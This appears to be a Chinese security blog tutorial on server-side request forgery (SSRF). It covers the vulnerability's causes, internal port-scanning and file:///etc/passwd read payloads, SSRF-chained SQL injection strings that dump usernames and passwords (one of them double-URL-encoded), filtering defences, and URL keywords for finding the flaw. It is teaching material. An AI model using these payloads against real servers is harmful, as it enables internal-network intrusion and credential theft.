服务端请求伪造(SSRF)

漏洞概述

服务器会根据用户提交的 URL 发送一个 HTTP 请求。使用用户指定的 URL Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。
如果没有对用户提交 URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在 请求伪造 的缺陷。 请求伪造 ,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“ 请求伪造 发生在服务器端,那这个漏洞就叫做 服务器端请求伪造 ,英文名字 Server Side Request Forgery ,简称SSRF
SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

漏洞原理

  • 服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。
  • 对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。
  • 没对响应的结果进行检验,直接输出。

漏洞危害

  • 端口扫描;
  • 内网Web 应用指纹识别;
  • 攻击内网应用;
  • 读取本地文件;

SSRF攻防

SSRF利用

文件访问

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

端口扫描

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php

内网应用指纹识别

<Directory "c:\www\phpMyAdmin">
   #Order allow,deny
   Order deny,allow
   deny from all
   allow from 127.0.0.1

</Directory>

攻击内网Web应用

<Directory "c:\www\cms">
   #Order allow,deny
   Order deny,allow
   deny from all
   allow from 127.0.0.1

</Directory>

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/*A*/union/*J*/select/*E*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*S*/from/*T*/cms_
users

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users

SSRF防御

过滤输入

  • 限制协议,仅允许 http https 协议;
  • 限制IP,避免应用被用来获取内网数据,攻击内网;
  • 限制端口,限制请求端口为常用端口。

过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤;
  • 统一错误信息,让攻击无法对内网信息进行判断。

SSRF挖掘

Web功能URL关键字

分享

转码服务

在线翻译

图片加载与下载

图片、文章收藏功能

...

share

wap

url

link

src

u

display

domain

...

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值